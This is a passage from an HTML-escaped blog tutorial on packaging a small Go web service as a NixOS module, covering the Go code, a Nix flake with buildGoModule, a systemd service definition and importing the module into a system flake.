&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port := os.&lt;span style="color:#447fcf">Getenv&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;PORT&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> port == &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#ed9d13">&amp;#34;8080&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">HandleFunc&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;/&amp;#34;&lt;/span>, handler)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;listening on :%s\n&amp;#34;&lt;/span>, port)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Fatal&lt;/span>(http.&lt;span style="color:#447fcf">ListenAndServe&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;:&amp;#34;&lt;/span>+port, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I run the service like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix-shell -p go --command &lt;span style="color:#ed9d13">&amp;#39;PORT=5000 go run main.go&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>listening on :5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And from another terminal, I can call the service with &lt;code>curl&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl http://localhost:5000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Time: 2024-12-01 10:51:34 AM (EST)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hostname: nixon
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Username: mike
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local IP: 10.0.0.31
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Compiled with: go1.22.8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I can also view the service in a web browser:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 562px">



 &lt;a href="https://mtlynch.io/notes/simple-go-web-service-nixos/firefox-service.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 562px, 98vw"
 srcset='https://mtlynch.io/notes/simple-go-web-service-nixos/firefox-service_hu_3456602948c7de5b.webp 300w, https://mtlynch.io/notes/simple-go-web-service-nixos/firefox-service.webp 560w'
 src="https://mtlynch.io/notes/simple-go-web-service-nixos/firefox-service.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The service is deliberately simple and kind of boring because I want to focus on the NixOS packaging part.&lt;/p>
&lt;h2 id="create-a-simple-go-module">Create a simple Go module&lt;/h2>
&lt;p>Next, create a Go module for this app, as Nix will need it to build the NixOS module:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix-shell -p go --command &lt;span style="color:#ed9d13">&amp;#39;go mod init codeberg.org/mtlynch/basic-go-web-app&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go: creating new go.mod: module codeberg.org/mtlynch/basic-go-web-app
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go: to add module requirements and sums:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> go mod tidy
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That creates a file called &lt;code>go.mod&lt;/code> with the following contents:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat go.mod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>module codeberg.org/mtlynch/basic-go-web-app
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go 1.22.8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-a-basic-nix-flake">Create a basic Nix flake&lt;/h2>
&lt;p>Now, I&amp;rsquo;m going to create a Nix flake that builds and runs this app under Nix. Add the following to a file called &lt;code>flake.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Basic Go web app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 1.23.2 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> go-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/4ae2e647537bcdbb82265469442713d066675275&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, go-nixpkgs, flake-utils }:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gopkg = go-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages.default = gopkg.buildGoModule {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;0.1.0&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = &lt;span style="color:#ed9d13">./.&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vendorHash = &lt;span style="color:#40ffff">null&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> apps.default = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> type = &lt;span style="color:#ed9d13">&amp;#34;app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> program = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>self.packages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.default&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With the flake, I can run my app under Nix:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">PORT&lt;/span>=&lt;span style="color:#3677a9">5000&lt;/span> nix run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>listening on :5000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Again, I can call my service using curl:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl http://localhost:5000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Time: 2024-12-01 10:14:49 AM (EST)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hostname: nixon
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Username: mike
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local IP: 10.0.0.31
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Compiled with: go1.23.2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that the flake version reports that it was compiled with &lt;code>go1.23.2&lt;/code> whereas the &lt;code>nix-shell&lt;/code> version reported &lt;code>go1.22.8&lt;/code>. That&amp;rsquo;s because in the &lt;code>go-nixpkgs&lt;/code> line, I &lt;a href="https://mtlynch.io/notes/nix-dev-environment/#finding-version-strings">specified the &lt;code>gopkgs&lt;/code> version&lt;/a> that corresponds to go 1.23.2, as I like to pin exact versions.&lt;/p>
&lt;h2 id="add-a-nixos-module-to-the-nix-flake">Add a NixOS module to the Nix flake&lt;/h2>
&lt;p>It would be a pain if I had to execute &lt;code>nix run&lt;/code> for this service every time I restarted my NixOS system. My goal is for the service to run automatically in the background without me having to do anything or manage it. That&amp;rsquo;s where the NixOS module comes in.&lt;/p>
&lt;p>Adjust &lt;code>flake.nix&lt;/code> to define a NixOS module:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Basic Go web app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 1.23.2 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> go-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/4ae2e647537bcdbb82265469442713d066675275&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> self,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> go-nixpkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixosModule = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> lib,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> options.services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> enable = lib.mkEnableOption &lt;span style="color:#ed9d13">&amp;#34;Basic Go web app service&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = lib.mkOption {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> type = lib.types.port;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default = &lt;span style="color:#3677a9">8080&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Port to listen on&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config = lib.mkIf config.services.basic-go-web-app.enable {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> systemd.services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Basic Go Web App Service&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> wantedBy = [&lt;span style="color:#ed9d13">&amp;#34;multi-user.target&amp;#34;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> after = [&lt;span style="color:#ed9d13">&amp;#34;network.target&amp;#34;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> serviceConfig = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ExecStart = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>self.packages.&lt;span style="color:#ed9d13">${&lt;/span>pkgs.system&lt;span style="color:#ed9d13">}&lt;/span>.default&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Restart = &lt;span style="color:#ed9d13">&amp;#34;always&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Type = &lt;span style="color:#ed9d13">&amp;#34;simple&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DynamicUser = &lt;span style="color:#ed9d13">&amp;#34;yes&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> environment = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PORT = &lt;span style="color:#24909d">toString&lt;/span> config.services.basic-go-web-app.port;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (flake-utils.lib.eachDefaultSystem (system: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gopkg = go-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages.default = gopkg.buildGoModule {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;0.1.0&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = &lt;span style="color:#ed9d13">./.&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vendorHash = &lt;span style="color:#40ffff">null&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> apps.default = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> type = &lt;span style="color:#ed9d13">&amp;#34;app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> program = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>self.packages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.default&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> // {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixosModules.default = nixosModule;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, there&amp;rsquo;s a lot going on in this Nix flake. I&amp;rsquo;ll break it down below.&lt;/p>
&lt;h3 id="defining-nixos-module-options">Defining NixOS module options&lt;/h3>
&lt;p>First, I defined the options for my NixOS module. There are only two:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> options.services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> enable = lib.mkEnableOption &lt;span style="color:#ed9d13">&amp;#34;Enable basic-go-web-app service&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = lib.mkOption {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> type = lib.types.port;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default = &lt;span style="color:#3677a9">8080&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Port to listen on&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That means that NixOS systems can import and turn this service on by adding lines like this to their NixOS config:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> enable = &lt;span style="color:#40ffff">true&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">3000&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="defining-the-systemd-configuration">Defining the systemd configuration&lt;/h3>
&lt;p>I use systemd to run my web app continuously in the background. When a NixOS system enables &lt;code>basic-go-web-app&lt;/code>, it creates a systemd service for my app:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config = lib.mkIf config.services.basic-go-web-app.enable {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> systemd.services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Basic Go Web App Service&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> wantedBy = [&lt;span style="color:#ed9d13">&amp;#34;multi-user.target&amp;#34;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> after = [&lt;span style="color:#ed9d13">&amp;#34;network.target&amp;#34;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> serviceConfig = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ExecStart = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>self.packages.&lt;span style="color:#ed9d13">${&lt;/span>pkgs.system&lt;span style="color:#ed9d13">}&lt;/span>.default&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Restart = &lt;span style="color:#ed9d13">&amp;#34;always&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Type = &lt;span style="color:#ed9d13">&amp;#34;simple&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DynamicUser = &lt;span style="color:#ed9d13">&amp;#34;yes&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> environment = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PORT = &lt;span style="color:#24909d">toString&lt;/span> config.services.basic-go-web-app.port;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>ExecStart&lt;/code> line specifies the location of the &lt;code>basic-go-web-app&lt;/code>, which it gets from the output of my &lt;code>buildGoModule&lt;/code> step.&lt;/p>
&lt;p>The service also converts the NixOS module&amp;rsquo;s &lt;code>port&lt;/code> option into the &lt;code>PORT&lt;/code> environment variable, as that&amp;rsquo;s what &lt;code>main.go&lt;/code> &lt;a href="#a-basic-demo-microservice">reads&lt;/a> (with &lt;code>os.Getenv(&amp;quot;PORT&amp;quot;)&lt;/code>).&lt;/p>
&lt;p>&lt;code>DynamicUser = &amp;quot;yes&amp;quot;&lt;/code> tells systemd to create a limited-privilege user and run the service under that user&amp;rsquo;s context. That prevents the service from accidentally clashing with other services on my system, and it improves security. There are many other hardening options within systemd, but I&amp;rsquo;m skipping them since there is essentially no attack surface to this toy example.&lt;/p>
&lt;h3 id="exporting-the-nixos-module">Exporting the NixOS module&lt;/h3>
&lt;p>Finally, at the end, I export the NixOS module so that NixOS systems can import it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixosModules.default = nixosModule;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-the-nixos-module">Install the NixOS module&lt;/h2>
&lt;p>Now, it&amp;rsquo;s time to import the &lt;code>basic-go-web-app&lt;/code> NixOS module into my NixOS system&amp;rsquo;s root &lt;code>flake.nix&lt;/code> file.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;p>&lt;strong>Note&lt;/strong>: I&amp;rsquo;m talking about two distinct &lt;code>flake.nix&lt;/code> files, which is a bit confusing.&lt;/p>
&lt;p>The first &lt;code>flake.nix&lt;/code> is the Nix flake for &lt;code>basic-go-web-app&lt;/code>, and it should be in the same folder as &lt;code>main.go&lt;/code>.&lt;/p>
&lt;p>The second &lt;code>flake.nix&lt;/code> is the NixOS system&amp;rsquo;s root Nix flake. On my NixOS system, my layout is like &lt;a href="https://github.com/Misterio77/nix-starter-configs/tree/cd2634edb7742a5b4bbf6520a2403c22be7013c6/minimal">the Misterio77 example&lt;/a>.&lt;/p>

&lt;/div>

&lt;p>In my server&amp;rsquo;s root &lt;code>flake.nix&lt;/code>, I import and pass it to my host (&lt;code>nixon&lt;/code>) like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:nixos/nixpkgs/nixos-24.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixos-hardware.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixos-hardware&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Point this to wherever you placed basic-go-web-app&amp;#39;s flake.nix.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> basic-go-web-app.url = &lt;span style="color:#ed9d13">&amp;#34;path:/home/mike/basic-go-web-app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { nixpkgs, nixos-hardware, basic-go-web-app, ... }: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nixosConfigurations.nixon = nixpkgs.lib.nixosSystem {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> system = &lt;span style="color:#ed9d13">&amp;#34;x86_64-linux&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> specialArgs = {&lt;span style="color:#6ab825;font-weight:bold">inherit&lt;/span> inputs;};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> modules = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">./hosts/nixon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> basic-go-web-app.nixosModules.default
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
